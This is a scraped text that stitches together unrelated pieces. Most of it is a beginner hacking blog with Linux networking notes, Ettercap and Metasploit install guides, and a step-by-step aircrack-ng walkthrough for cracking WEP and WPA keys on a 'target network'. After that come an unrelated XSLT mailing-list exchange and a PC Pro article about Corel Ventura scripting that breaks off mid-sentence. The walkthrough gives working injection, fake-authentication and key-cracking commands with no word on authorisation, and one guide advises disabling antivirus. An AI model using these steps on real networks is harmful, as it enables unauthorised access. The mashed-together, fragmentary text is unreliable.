additional options you can type.</li><li>First, the "ESSID" stands for the "Extended Service Set Identification (ID)" and is the alphanumeric name we give our computers to discern them from others on the network.</li><ul><li>You can set the ESSID to anything, just type "iwconfig [interface] [essid]"</li></ul><li>Next, the "mode" can be set to managed, ad-hoc, master, repeater, secondary, or monitor. The descriptions are taken from the "man iwconfig" file.</li><ul><li>Managed --- "node (computer) connects to a network composed of many Access Points, with roaming"</li><li>Ad-hoc --- "network composed of only one cell and without Access Points"</li><li>Master --- "the node (computer) forward packets between other wireless nodes"</li><li>Secondary --- "the node (computer) acts as a backup master/repeater"</li><li>Monitor --- "the node (computer) is not associated with any cell and is passively monitor(s) all packets on the frequency)</li><li>Auto --- Automatic; self explanatory.</li><li>Examples: "iwconfig wlan0 mode monitor" or "iwconfig mon0 mode managed"<br /.</li></ul><li>Frequency --- this you shouldn't be too worried with, most interfaces work on the 2.46GHz frequency.</li><li.<br /><br />You shouldn't have to use more than these commands at first, but if necessary, type "iwconfig --help" or "man iwconfig" to review the additional commands.</li></ul><li>ping [options] --- I first reviewed the ping command in my <a href="">quick overview of Linux commands</a>, but I'll try to explain more in depth here why ping is one of the most important networking tools in Linux (and Windows!), and some descriptive uses of it.<br /.<br /><br />The basic form of using the ping command is: <br /><blockquote>ping <ip-address or hostname></blockquote>Try using this on your "localhost" which is the ip address "127.0.0.1"<br />Pull up a new terminal and type in "ping 127.0.0.1" and review the output. Push Ctrl-z when you want it to stop pinging (ctrl-z is the EOF [end of file] command which stops most Linux operations).<br />Lets go over some of ping's options:</li><ul><li>.<br />Try this by typing the above command "ping -c 3 localhost" and review the outcome.</li><ul><li><b>ON WINDOWS, THE COUNT COMMAND IS "-n" INSTEAD OF "-c"</b><br /></li></ul><li>-f --- the "flood ping" option. Taken from the manual page, it is described as<blockquote>"For every ECHO_REQUEST sent, a period is printed, while for ever [sic] ECHO_REPLY received a backspace is printed. This provides a rapid display of how many packets are being dropped."</blockquote>This command adds a visual aid to pinging. The gist of what the manual page says, is that for every request sent, a period is printed, and for every reply received, one is deleted.<br />So say you ping five times, and five are sent, and five are received, then no periods would appear on screen since there would be five periods and five backspaces, nullifying these periods. For every period that appears, a packet is dropped.<br />If you pinged five times, five packets are sent, but only three are received, then two periods would appear, meaning two packets were dropped.<br /> In layman terms, each period that appears is a dropped packet.<br /></li><li>-i [#] --- the "interval" option. With this option, the ping command waits the specified amount of seconds in between each ping; the default is one second in between pings if this option is not used or specified.<br /.</li><li>-n --- the "numeric ouput only" option. When this option is used, if you ping a hostname (such as "" or "localhost") it only uses the IP address in the output, and does not post the hostname.<br />Compare these commands: "ping -c 5 localhost" and "ping -c 5 -n localhost"<br />You see how the "bytes received from *hostname* (*IP address*)" is changed to "bytes received from *IP address*? That's what this command does.</li><li>-q --- the "quiet mode" option. If you use this option, it does not output each "bytes received" line while running the command, but instead just outputs the summary lines at the beginning and end.<br />Try running the command "ping -c 5 -q localhost" and view the output. You should see the "PING localhost (127.0.0.1) xxx bytes of data" and then the statistics of the ping.<br />This command is useful if you don't care about each output and just want to see the overall summary.</li><li>.<br />The maximum number this can be is 255.</li></ul><li>arp [options] --- The "arp" command displays the Address Resolution Protocol table, which is a list of computers that you have exchanged information with. You can manipulate the ARP cache with this command (which we will be doing eventually).<br />Try issuing this command on your Linux machine with the simple command "arp" and review the output. A list of nodes (computers and routers) on your network should appear.<br />The "address" is of course the IP of the computer or router.<br />The "HWtype" is the type of connection (ethernet or wireless).<br />The "HWaddress" is the MAC (media access control) address, or the "physical" address (which you will hear it referred to often, because this code is set to it when it is manufactured).<br />Below are some arp options you can use:</li><ul><li> -a --- This option is to use the alternative "BSD" style output format and doesn't use tabs to space things.<br />Compare the commands "arp" and "arp -a" and review how they look different.</li><li>-d --- This option (it's actually considered a "mode") deletes an ARP table entry (the manual says "a ARP" which is funny to me; correct grammar isn't the programmers highest interest).<br />This command requires root privileges to run (they also spelled privilege "priveledge").</li><li>I will add more of these later. There aren't many more, but I will update it so we can understand all the options of arp.</li></ul></ul!<br /><br />[Last edited June 29th, 1:30PM]<br /><ul><ul></ul></ul></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com33 Ettercap [Linux]Right!<br /><br />For now, here's a guide on installing the program I'll be using: Ettercap. Backtrack5 should come automatically installed with it, but for those dual-booting and using general Linux flavors, here's a guide for you!<br /><a name='more'></a><br /><ul><li>First, download the Ettercap "tar" file that we are going to extract and install, the newest (0.7.3) version located <a href="">here</a>. If you want to take a look at all versions available (they may become updated and I might not update this post in time), take a look <a href="">here</a>.</li><li>Once you've downloaded the file to either your root, home, or desktop (as we did while installing aircrackng), you need to issue the command in a new terminal to unpackage the tar file.<br />Open a terminal and type "tar -xvf [file name]" to unpackage them. What the "xvf" means is told in the aircrackng installation guide, but I'll list them here as well.<br />x --- extract<br />v --- verbose<br />f --- file [file] (necessary to determine the file).</li><li>Once you've unpackaged the tar file, navigate into the folder that was just created, usually named after the file we downloaded/extracted (in this case "ettercap-NG-0.7.3"), but type "ls" into your terminal to check what it is called, then "cd" command into that folder.<br />I typed: "cd ettercap-NG-0.7.3"</li><li>Next, while in the folder you extracted, type the command "make" and then once that command is done, "make install" which should install the program and make it usable by you.</li></ul>As you can probably tell by these two installations, most are pretty easy! Just remember that tar files are pretty much zip files on Windows systems (I imagine most of you know Windows well), and using the "tar" command on the file is extracting it to a folder (as you've seen on Windows/Mac systems). The "cd" command is probably the most useful command in the *nix arsenal, and moves you from folder to folder where you can use the "make" and "make install" commands to install programs!<br /><br />As always, post stuff below. I realize this is simple, but for newbies of Linux it's not, so please understand this before posting. Any comments are welcomed though; pointers and help always appreciated (the Reddit community has helped in major ways so far. I don't take criticism as you tearing me down, this is a blog for newbies; we're all learning!).<div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com39 Metasploit [Linux/Now Updated with Windows!]<div dir="ltr" style="text-align: left;" trbidi="on">Now that I've briefly covered some WEP/WPA cracking, lets install an important tool to our arsenal for issuing exploits and "payloads" (a name for exploits).<br /><br />This program is called "Metasploit" and is considered by many to be one of the most important hacking/pentesting tools around. It has an amazing array of exploits that can be used on many vulnerable machines, and when coupled with the vulnerability scanner Nessus (I'll cover this in the future) becomes a highly sophisticated tool we can use to hack into and secure our networks.<br /><br />I'm installing this on Ubuntu Gnome Backtrack 5 (the newest release), so if you're on a different GUI (like KDE) and aren't using BT5, some things might be different.<br /><br />NOTE: It may be useful for new users to check out my <a href="">Linux commands overview</a> that I recently updated (the day this post was released).<br /><br />Hopefully you know the basics of Linux navigation and listing commands, so lets begin.<br /><a name='more'></a>For those running Linux 32 bit like me, download <a href="">this</a> and save it to your computer. For 64 bit, download <a href="">this</a> and save it to your computer. <br />These are both the full installations because I'm assuming you, like me, do not have the dependencies already installed (which are NOT optional).<br /><br />Once you have them downloaded (they may take a while), open a new terminal console and enter the command to navigate to the directory that it is saved on. If you saved it to your desktop like me, all I type is "cd Desktop" (capitalization is necessary; Linux is case-sensitive; a doesn't mean A) and can confirm this with a "pwd" command. If you saved it in your Home directory (where the cd command alone takes you), try issuing an "ls" command to make sure it's there.<br /><br />Once you're in the correct directory, type "chmod +x framework-3.*-linux-full.run" which runs the "chmod" command with the option "+x" on your downloaded file. This changes the permissions of this file to add "executable" so we can run it.<br />Next, we need to run this executable! Type: "./framework-3.*-linux-full.run" and it should bring up the install GUI (graphical user interface) in a few seconds (or minutes if your computer is slower like mine). <br /><br /><ul><li>The first screen will be a welcome screen, just click "forward" and move on.</li> </ul><ul><li>The next screen is Metasploit's license agreement. Read it if you want then click "I accept the agreement" and then "forward."</li> </ul><ul><li>The next is where you want the Metasploit framework installed; I would keep it default (my default is /opt/framework-3.7.2). Click forward to continue. </li> <ul><li>If after you push forward and it says it cannot be created because the directory is full or already exists, try renaming the installation path or check to see that Metasploit already isn't installed. If it isn't you can rename your old one and add ".bak" to make sure you don't screw anything up.</li> <ul><li>To rename it using Gnome 32bit, click on "Places" then "Computer" then "root," then click on "go" in the taskbar and click "open parent" <b>OR</b> while in "Computer" hit "alt-up." <b>An easier way to do this may just be to click on "File system" but sometimes that just doesn't work or isn't located on the options.</b></li> <li>Next, double click the "opt" folder. There should be a bunch of folders in here, one being the folder you're trying to install. Right click that folder and click "rename" and add ".bak" to the end of the file name. You should be all ready to install it now if you wish.</li> </ul></ul></ul><ul><li>The next screen prompts for automatic updates. I highly suggest leaving this on "yes" so you always have up-to-date exploits on your hands. Click forward.</li> <li>Your ready to install page should come up, click forward to start your installation! If you're stupid like me and hit "cancel" at any point, it will prompt to close again, so don't worry about hitting the key!</li> <li>After you hit forward, it should start installing and have a task completion bar. Depending on your computer it may take a while to install.</li> <ul><li>If you encounter an issue where it states that port 7175 is not open and it is closing installation due to this you have to change the Postgresql .conf (configure) file to start on port 7175 instead of the default 5xxx something. To do this, we are going to edit this file with our (meaning my) favorite Linux text editor-- Nano.<br />Open a new terminal and navigate to your "/" folder. This may be your home on some computers, but my "home" is "/root," so I have to use the "cd" command to get there.<br />How I navigate there is by typing "cd ../" which places me from my "/root" folder to my "/" folder (the ../ means go UP (back) a level).<br />Next, I use my trusty "cd" command and type "cd etc" which brings me into me to "/etc" (if you type "pwd" it will show your location).</li> <li> Then navigate into the "postgresql" folder with your cd command and further into the "8.4" and the "main folder within that (your location should be "/etc/postgresql/8.4/main." If your number isn't 8.4, use whatever version you have installed (as far as I know, 9.04 is out, but I haven't updated to it).<br />Next, we're gonna edit the "postgresql.conf" file with our nano text editor. Type "nano postgresql.conf" while in the directory stated above and a text editor format will come up that you should be generally familiar with since it looks like most others. You can read all the comments (lines with "#" in them), or you can scroll down past the "File locations" to the "connection and authentication" section. From there, you should see a setting "port= 5432" or something of the sort. Edit that number to 7175 (or if your error gave you a different port, set it to that), then push control o (the "oh" key), then push enter to write the file (a small prompt will come up asking to write it, pushing enter confirms this). Then push control-z to exit the editor.<br />A restart of your system is required after this fix, so restart and hopefully your postgresql will start on the correct port. Redo your installation (delete your old framework-3xxx folder) and do everything normal. If this doesn't work, post a comment below and I'll help you troubleshoot.</li> </ul><li>Whoo, well, hopefully you didn't have that postgresql issue and it all installed fine, but if you did, read the block of text above and then come to this point. Once you have a successful install, you can try to update with the command "msfupdate" and run the program as "msfconsole."<br />If you have any problems, ask below in a comment, email me, or @tweet me at my <a href="">twitter</a> account.<br />You can navigate to the MSF3 files in the /opt/framework-3.7.2/msf3 directory and check out all the files listed there. There is a README file that may help you troubleshoot and figure out this amazing exploit program.</li> </ul><br />Leave comments below, opinions, any help or questions. I'll be updating this to make it easier to read and adding in troubleshooting but hopefully it helps some people right now.<br /><br /><span style="font-size: x-large;"><u><b>Installing the Metasploit Framework on Windows!</b></u></span><br /><br />Yep, finally more Windows content, and this time I'm updating my old Metasploit installation tutorial to include Windows!<br />Lets jump right in.<br /><br />First, download <a href="">this file</a> and save it to wherever you want. It is the FULL version of Metasploit including an updated Java and Postgresql. I'm linking this one since a lot of people don't have the necessary dependencies already, and it's easier just to be safe than sorry and have to re-download it or it not work at all.<br />Once this is done downloading (it took about 5 minutes with a fast connection for me), double click it from your downloaded area or in your browsers download page to run the executable (.exe) file.<br /><br />The setup is quite normal. Just hit next to go to the License Agreement and either read it and accept or just accept it (who actually reads them?).<span id="goog_746750328"><br /></span><span id="goog_746750329"></span><br />The next page is the installation location. I left mine at the default which for me is "C:\Program Files\Rapid7\framework" and works unless you want it in a specific location.<br />Hit next and it will ask if you want automatic updates. I'd suggest saying yes since it allows you to have updated exploits and payloads and all the goodies we will be using. Now hit next until it installs (the next page is useless).<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="" width="400" /></a></div>The Metasploit Framework might open up a few Consoles, but they should close quickly and you should let them do their thing. This is the program installing normally.<br />If you use Microsoft Security Essentials or some other type of virus protection, I would suggest turning them off for the installation, then adding the location that you're downloading Metasploit to to your "excluded locations" or else;">Oh noez D=</td></tr> </tbody></table>If this happens, allow the location by following the directions below and "allow" those files by changing them from "remove" to "allow" with the dropdown menu and hitting "apply actions"<br /><br />To allow this location this on MSE, click on the "settings" tab, then "excluded files and locations" and select your location (for me, Program Files -></a></div><br />I would suggest allowing this location BEFORE continuing installation, as it may cause problems with the actual installation.<br />Once it's done downloading you can just hit finish and it should all be ready to go. It won't open up right away and for me, it didn't create a desktop shortcut. So go into your Start menu and All Programs, then Metasploit Framework and open the Metasploit GUI (graphical user interface) first.<br />If it's the first time opening it, it should say it's configuring, just hit OK and let it load.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="" width="400" /></a></div><br />This is the Metasploit GUI, which I will go over quickly before moving to the (better in my opinion) console interface, which is much like the Linux version.<br /><br />Wow, so where to begin? Lets start by clicking on the "File" menu dropdown and clicking on "Show connection details"<br />This is our current "connection" to Metasploit, and it shows what port we are running off of, our username and password, as well as our "host," which for me is "127.0.0.1" which is localhost, which is <em>our</em> computer, if you didn't know.<br />In our "view" tab we can click on any of the options and it will switch to the tabs above. The only option we can use here that isn't on the tabs (like Firefox, Chrome, Opera, or any browser today uses) is the "preferences" which includes a few different things we can change around.<br /><br />[Last updated August 8th at 1:00pm]<br /><ul></ul></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com29 WEP/WPA/2 networks with Aircrack-ng [Linux]<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" trbidi="on">Now that you have hopefully installed the Aircrack-ng suite and familiarized yourself with some basic Linux commands, we can start cracking WEP and WPA1/2 networks to see the differences in securi<span class="Apple-style-span" style="font-family: inherit;">ty <span class="Apple-style-span" style="line-height: 15px;"><i style="font-style: normal;">Wired Equivalent Privacy</i></span> (WEP) and Wi-fi Protected Access (WPA) provide.</span><br /><br /><br /><a name='more'></a><br />><b style="background-color: #141414; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"><br /></b><br />Now, lets start. Open up a new terminal and lets begin (all typed commands are underlined; read the notes section for optional commands):<br /><br /><a href="" name="more"></a><br /><ol><li>Make sure you have a "monitoring" interface, this means that your network interface (the thing that interacts with networks) can scan for open/encrypted networks. <br />To check what interfaces you have, type "iwconfig" into your terminal and it will list out which interfaces are currently up, and which mode they are in (look for "mode: managed" or "mode: monitor").<br />Check out my <a href="">blog post about networking in Linux</a> for more on "iwconfig" and the different modes available.<br /><br />Type:<br /><br /><u>airmon-ng start [interface]</u><br /><br />if your interface is in "managed" or any other mode (ad-hoc, etc) it needs to be switched into monitor mode. Sometimes it will create a new interface for the monitoring, for example, my wireless is "wlan0" and it creates "wlan0mon" or "mon0" for monitoring. <br />Once it is in "monitor" mode, you can begin.<br /> </li><li>Make sure you can inject packets into the chosen network (find a network with Kismet (I'll review Kismet later) or your network manager (either Wicd, or network-manager), or with the "airodump-ng [interface]" command in a new terminal. This creates a new .cap file, though).<br />Type:<br /><br /><u>aireplay-ng -9 -e [network name] -a [your MAC address] [interface]</u><br /><br />This makes sure that you can use your network card to input packets (data) into the targeted network. Your NIC (network interface card) must support injection.<br /> </li><li>If you can inject, start dumping captured IVs (Initialization Vectors) into a .cap (capture) file with command:<br /><br /><u>airodump-ng (-c x) --bssid [target network MAC] -w [output prefix] [interface]</u><br /><br />Note: -c x is channel x, where x is 1-11 and not necessary, although, if you know the channel, I would suggest doing the correct channel.<br />This will bring up a nice interface with your targeted network, the BSSID (MAC that you entered), the "PWR," or how close you are (lower is better!), the "Beacons," which networks send automatically, the #Data, which is the data packets that have been sent over the network (which you have just started capturing!), the #/s which is data packets/s (higher is better for capturing faster!), the "CH," or channel (I'll go over this later), the "MB," the "ENC," or encryption (WEP/WPA/OPEN), the CIPHER (related to the ENC), the AUTH (pass-key or other), and finally the ESSID which is the English or ASCII network name that humans understand more easily than a Hex BSSID.<br /><br /></li><li>Now we have to do a "fake authentication" on the network. This is pretty self explanatory, but it authenticates you with the access point. If you didn't run this, the access point would return "deauthenticated" packets, not allowing you to inject packets back into the system.<br /><br />Type:<br /><br /><u>aireplay-ng -1 0 -e [network name] -a [target network MAC] -h [your MAC address] [interface]</u><br /><br />It should respond "Association successful :-)" if not, try again until it works.<br />This may take a while, so don't fret if it doesn't work right away. I've had to do this three or four times or more with new terminals and locations until I finally got it, it's just luck sometimes.<br /> </li><li>Reinject ARP (Address Resolution Protocol) packets back into the network to create network activity. To review ARP, check out my <a href="">ARP information post</a> and read it thoroughly, it isn't long and gives a good explaination what ARP is all about. What we're basically doing is sending fake messages to create data packets on the network so we can record and crack their password!<br /><br />Type:<br /><br /><u> aireplay-ng -3 -b [target network MAC] -h [your MAC address] [interface]</u><br /><br />It should say "Read xxxx packets (got xxxx ARP requests), sent xxxx packets..." and network activity should increase.<br /> </li><li>Crack the WEP key! Type:<br /><br /><u> aircrack-ng -b [target network MAC] *.cap</u><br /><br />Note: you can enter the ACTUAL file name instead of "*.cap" if you know it, or whatever "output prefix" you entered, then *.cap (all in a line, since it concatinates -xxxxx_xxxx after the prefix and before .cap).<br /> </li><li>Crack the WPA/WPA2 key (if you're not cracking WEP)! Type: <br /><br /><u> aircrack-ng -w [password list] -b [target network MAC] *.cap</u><br /><br />Note: You must have captured the WPA handshake, and again, substitute your capture file accordingly.</li></ol>For WEP cracking, this should run a terminal with "Tested xxxx keys (got xxxx IVs) and a bunch of gibberish HEX underneath. You can run this while you inject packets. It should find the key eventually unless the network admin or creator disconnects the network or you go out of range of it. Sometimes it only takes as little as 5000 keys, and other times 250,000 keys.<br />My record is about 2-3 minutes while sitting on a toilet in a flea market; it's fun to see how quickly WEP is broken, <b>so remember ALWAYS use WPA2 with a non-dictionary passkey.</b> You can review more tips about securing your home network at my post <a href="">here</a>.<br /><br />For WPA cracking, it runs through a list of passwords (in Backtrack 5 there is a darkc0de.lst with almost a million, if not more, passwords) and checks every one for a match; thus taking quite a bit longer, and if the password is not in the list, impossible to crack through this method. <br /><br />For further in-depth reading on cracking WEP networks, check out <a href="">this paper</a>.<br /><ol></ol>The aircrack-ng suite includes the below programs, try playing around with them. If you enter the name then --help or -h, usually (almost always) a help page appears with all the commands you can enter.<br /><br />Name --- What program does<br /><br />aircrack-ng Cracks WEP and WPA (Dictionary attack) keys.<br />airdecap-ng Decrypts WEP or WPA encrypted capture files with known key.<br />airmon-ng Placing different cards in monitor mode.<br />aireplay-ng Packet injector (Linux, and Windows [with Commview drivers]).<br />airodump-ng Packet sniffer: Places air traffic into PCAP or IVS files and shows information about networks.<br />airtun-ng Virtual tunnel interface creator.<br />airolib-ng Stores and manages ESSID and password lists; Increases the KPS of WPA attacks<br />packetforge-ng Create encrypted packets for injection.<br />Tools Tools to merge and convert.<br />airbase-ng Incorporates techniques for attacking client, as opposed to Access Points<br />airdecloak-ng removes WEP cloaking from pcap files<br />airdriver-ng Tools for managing wireless drivers<br />airolib-ng stores and manages ESSID and password lists and compute Pairwise Master Keys<br />airserv-ng allows you to access the wireless card from other computers.<br />buddy-ng the helper server for easside-ng, run on a remote computer<br />easside-ng a tool for communicating to an access point, without the WEP key<br />tkiptun-ng WPA/TKIP attack<br />wesside-ng automatic tool for recovering wep key.<br /><br />Last updated at 10:30am on July 27th, 2011.</div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com83 Quick Overview of Linux Commands [Linux]<div dir="ltr" style="text-align: left;" trbidi="on">Before my posts really start, I thought a quick overview of commonly used Linux commands would be useful since this blog is for complete newbies and those starting off with almost no experience.<br /><br />Below is a list of commonly used Linux commands (I will update this frequently, so it might be small at first):<br /><br /><a name='more'></a><ul><li>NOTE: know the difference between "absolute" and "relative" path names? Absolute path names are used when you type a "/" (slash) before the pathway (E.G. typing ls /pentest/exploits/ will print out that from your main Linux directory), but using a relative pathname references your current directory's subdirectories (E.G. typing ls pentest/exploits/ would print out that directory if it exists in your current directory).<br />I'll try to explain this more in depth with better examples, but a quick rundown can't necessarily hurt. You can think of absolute path names as never changing and relative referencing things that are relative to your current position! (quite simple once you get it)</li><li>man --- the manual command. Type "man [any command]" and it will bring up a manual to that command if there is one (which there usually is). This is probably the best command for your learning experience. Abuse it and use it to help learn each command and their "-" options. </li><li>cd --- stands for "change directory. Navigates you to the specified directory <u style="font-weight: bold;">OR</u> moves you to your "home" directory if no directory is specified. E.G. "cd" alone would move you to /home/username/ or "cd etc" would move you to the "etc" directory that is located in your current directory, but "cd /etc" links to an "absolute" path name which is a standard Linux directory.</li><li>pwd --- stands for "print working directory" (thanks Anon in comments!) prints out your current directory, it's as simple as that; "makes it easier to remember for someone new."</li><li>ls --- lists out files and sub-directories in your current directory.</li><ul><li>Using the sub-commands "-al" lists all (the "a") and in long format (the "l"); makes it easy to see hidden files and directories and also an easier to read format. Requires the dash "-" before the "al" and a space before it in between the "ls" and "-". E.G. "ls -al" in your home directory would print all files and folders (including hidden), then you can move to them or view/edit.</li></ul><li>cat --- lists the <u>file</u> out on your screen in the terminal. Only works with files that are readable; if you try it with a directory, it will output an error.</li><ul><li>I'll copy the helpful Anon from my comments, since he explained this quite well: "cat requires one or more filenames as parameters. The original purpose of cat was to concatenate files E.G. "cat file1.txt file2.txt > file3.txt" will create file3.txt that contains the contents of file1.txt followed by the contents of file2.txt."</li><li>This is very helpful information for new users trying to understand how to concatenate and manage files. The ">" operator takes the first two files and "pushes" them into the "file3.txt." Usually when operators such as ">" and "<" are in play, the direction they point is important; below I'll review the ">" and ">>" operators in more depth.</li></ul><li>emacs --- a Linux text editor in your terminal; I will provide more help with this in a later post. You can edit a file with the command "emacs [file location or name if in same directory]" and play around with it.</li><li>vi --- another Linux text editor.</li><li>nano --- my favorite Linux text editor so far; easy to use and pretty self explanatory. I don't believe it is built in to classic Ubuntu though.</li><li>grep --- stands for general regular expression print; it searches through a file (or an output as I will show and explain) for a certain string or other options.<br />You use this tool, for example, to search through a huge directory looking for a specific file, to see if it's located in there. Type "ls -al | grep [folder name]" to see how it works. The "|" is called "piping" and I will cover this next.</li><li>| --- this little tool is used when you want to "pipe" commands. Piping is, simply put, is running more than one command at once into one command. For example, eventually I'll show a quick BASH scripting guide and we might do something like "ping -c 1 192.168.0.1 | grep "bytes from" &" which I will explain in depth later on. All you need to know is if you want a general command (such as an nmap or ping command, but want to grep or ls or cut out certain things, just pipe in that command afterwards each with their own "|" after.</li><li>ping --- stands for Packet InterNet Groper... yes, groper. It basically "gropes" the specified internet source (whether it be by name on a local network, or a website name, or by IP address). It uses an "echo" system with acknowledgements that packets were sent and received to determine if hosts are "up" (able to be connected to).</li><ul><li>Some options (like the one used above explaining piping) can be added on. For example, the ping command keeps pinging until you stop it (ctrl-z is the EOF or end of file command, and stops most running programs in Linux), so to only ping 3 times, you would add the "-c 3" command beforehand (in our example I used 1 just to ping it once).</li><li>Typing "ping --help" into the terminal brings up all the options you can use; try playing around with a bunch of them by pinging google.com or "localhost" which is yourself. Another way to ping yourself is use the "loopback" IP which is 127.0.0.1, or you can ping any other IP.</li></ul><li>cut --- this command cuts out selected items from a file or output (it can be used with piping and a ping command which we will do in later posts). Typing cut --help brings up the help menu for this command, or try "man cut" to read more about it. It's a very useful tool to use when scripting in BASH.</li><ul><li>I'll update this section with an explanation and more helpful information for newbies soon!</li></ul><li> echo --- echo literally echos back what you type. For instance, if you type into a terminal "echo hello" it will print "hello" below. This is used in scripting a lot and you should understand how simple it really is.</li><ul><li>Getting a bit more technical, you can echo certain "variables" that Linux has, such as the hostname, IP, and other things we will get into later. Try the command "echo $HOSTNAME" and see what comes back. It should be your username you have logged into. Cool, right? This is known as an environmental variable and is useful while creating scripts and user friendly interfaces later. I'll cover environmental variables and more helpful information on this in another post with BASH scripting. If you don't understand the whole "$HOSTNAME," it doesn't matter yet!</li><li>To get the help page for this, the command "echo --help" doesn't work. It will echo back "--help" which is annoying. Use the "man" command by typing "man echo" and read up on this useful Linux command.</li></ul><li>arp --- check out my <a href="">ARP post</a>.</li><li>touch --- creates a file with the name you wish in your current directory. For example, typing "touch file.txt" would create the file with the name "file" and the extension ".txt"</li><ul></ul></ul><div>Now for some Linux maintenance, updating, and application downloading/installing:</div><div><ul><li>apt-get --- [my] classic command for getting applications on <i><u>Ubuntu</u></i>. Each version of Linux has it's own patience package which at the moment I am not familiar with, but I will attempt to update as I learn them; below is some commands that are useful; append them after a space to this command. E.G. apt-get [commands].</li><ul><li>install [application name] --- self explanatory; it installs (and prompts if necessary) the application you have entered.</li><li>upgrade --- Upgrades all your packages (or programs) that have available upgrades; definitely useful to run once in a while.</li><li>update --- Retrieves the list of packages that are available for your system to upgrade and install; also useful to run every once in a while.</li></ul><li>apt-cache search [string (or keywords)] --- searches the application database with your string or keywords for applications. Very very useful if you want to find certain programs to install.<br />Again, the "apt---" are for Ubuntu; each flavor of Linux has it's own maintenance packages, and each has multiple.</li></ul><div>Try using these commands by typing "apt-get install ssh" and looking at the output; ssh stands for "secure shell" and is a way for us to access other computers. There is also "ftp" which stands for "file transfer protocol" and is a way for us to transfer files from computer to computer through the terminal (and also user-friendly GUIs).</div></div><div><br /></div><div>Of course these are all simple, and I will be adding more and more to them as I remember/discover new ones, so don't be alarmed when there's only basics up at the moment. As always, ask questions below and I'll get back to you!<br /><br />Last updated: September 24th, 2011.</div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com45
http://feeds.feedburner.com/Hack-a-vision
CC-MAIN-2019-30
refinedweb
28,295
59.84
Hello RoR Folks, I’m working on document submission web app hosted at site5.com. I’ve run into an issue that I can’t seem to solve. I’m using ActionMailer to send an email any time a document is submitted. My code is bombing out when processing the template for the mailer. Here is an excerpt from the product log file: ActionView::TemplateError (undefined method `each’ for nil:NilClass) on line #19 of app/views/document_mailer/send_upload.rhtml: 16: 17: Submission Authors: 18: <% i = 1 -%> 19: <% @authors.each do |author| -%> 20: <%= i -%>. <%= author.lastname -%>, <%= author.firstname %> 21: <%= author.email %> 22: <% i += 1 %> Relevant code from the controller: # Find the login, submission and authors associated with this document @login = Login.find(session[:id]) @submission = Submission.find(session[:sub_id]) @authors = Participant.find(:all, :conditions => [ “submission_id = ?”, session[:sub_id] ] ) Model: def send_upload(submission, login, authors) @subject = ‘New Document Submission’ @body = { “login” => login, “submission” => submission, “authors” => authors } View: Submission Authors: <% i = 1 -%> <% @authors.each do |author| -%> <%= i -%>. <%= author.lastname -%>, <%= author.firstname %> <%= author.email %> <% i += 1 %> <% end -%> The strange thing is that this code works properly when the app is in development mode. I am a RoR neophite, this being my first Rails app. So hopefully there is a simple step that I am missing. Thanks for your help.
https://www.ruby-forum.com/t/actionview-templateerror-in-production-mode/86640
CC-MAIN-2021-43
refinedweb
215
52.56
I> <p>.....</p> </articulo> </seccion> </capitulo> I think that the pattern "//articulo[2]" is the correct but the XSLT proccesor doesn=B4t found it. =BFwhat is the correct pattern to select the second element of the type "articulo"? Thanks. On Tue, 5 Mar 2002 19:08:03 +0100, Sandra wrote: > I> ^ There seems to be a typo here - this document is not well formed. > <p>.....</p> > </articulo> > </seccion> > </capitulo> > > I think that the pattern "//articulo[2]" is the correct but the XSLT > proccesor doesn=B4t found it. Do you really mean pattern as in xsl:template match=3D"..." ? Though not illegal it is very unusual. As an XPath expression that will find the second 'articulo' element in the whole document, regardless of the current context: if you fix the typo then you should find 'articulo 2' in the above example. Things to check: That the input document doesn't contain some other typo - for example if you had an extra 'u' in the closing tag as well, then your expression would find nothing (there would then be only one articulo element). That you input document does not contain a declaration for a default namespace, e.g. <doc xmlns=3D"something"> If it does, then you need to declare this namespace in the stylesheet *with a prefix* and then use that prefix in the XPath expression. =46ailing that, reduce the input and the stylesheet as much as you can, then post them for us to look at. Since this problem isn't likely to be specific to Saxon you might like to try the XSL list (try the FAQ first) at Regards, Trevor Nash =20 > =BFwhat is the correct pattern to select the second element of the type > "articulo"? > Thanks. Melvaig Software Engineering Limited voice: +44 (0) 1445 771 271=20
http://sourceforge.net/p/saxon/mailman/message/5485769/
CC-MAIN-2015-27
refinedweb
300
57.81
['s recent decision to demote PageMaker in favour of the next generation InDesign has had major repercussions. One of the less spectacular but more personally alarming consequences is that it led Derek Cohen to decide that the PC Pro DTP benchmark needed to be redone from scratch. From my less-than-happy experience with PageMaker's scripting language (see RW53) I wasn't sorry to see the back of it, but which program should take its place? Neither XPress nor FrameMaker offer scripting so weren't contenders, InDesign makes much of its new automation features and VBA support but is as yet unproved and so, almost by default, the choice fell to Corel Ventura. To make sure that the program would be up to the job I gave it a quick work out. This was simplicity itself thanks to Corel Script's first huge advantage over PM Script: its ability to record actions. Hit Ventura's Tools>Corel Script>Start Recording command, work as normal and then click the Stop button on the floating Recording & Script toolbar and that's it. The resulting script can then be saved and run in future using the Run/Manage Scripts dialog. All I had to do was create a new publication, set up a page tag, import some text and graphics, do some find and replacing and reformatting, print to file and that was it. A workable and realistic benchmark and I didn't even have to look at the code. Unfortunately Derek had other ideas. Corel Ventura's greatest strength lies in its handling of long structured documents and he wanted the benchmark to realistically reflect a real world task. As such he wanted to take a full month's worth of PC Pro reviews and images and convert them into a working paper publication and then to re-purpose the publication for the Web. And it soon became apparent that he wasn't going to be giving a lot of help. The text arrived as a mail-merge file with each of the 20 separate fields in each of the 50 reviews running on from each other in a single line. And to complicate things further each of the referenced graphics was in the Mac-friendly and distinctly PC-unfriendly PICT format! Clearly it was going to be more work than Plan A, but it shouldn't be impossible. Essentially the task broke down into two parts. First of all I needed to get the text into a usable format and then I needed to set up a system for automatically importing the graphics. To sort out the text, the comma-delimited records had to be converted into pre-tagged 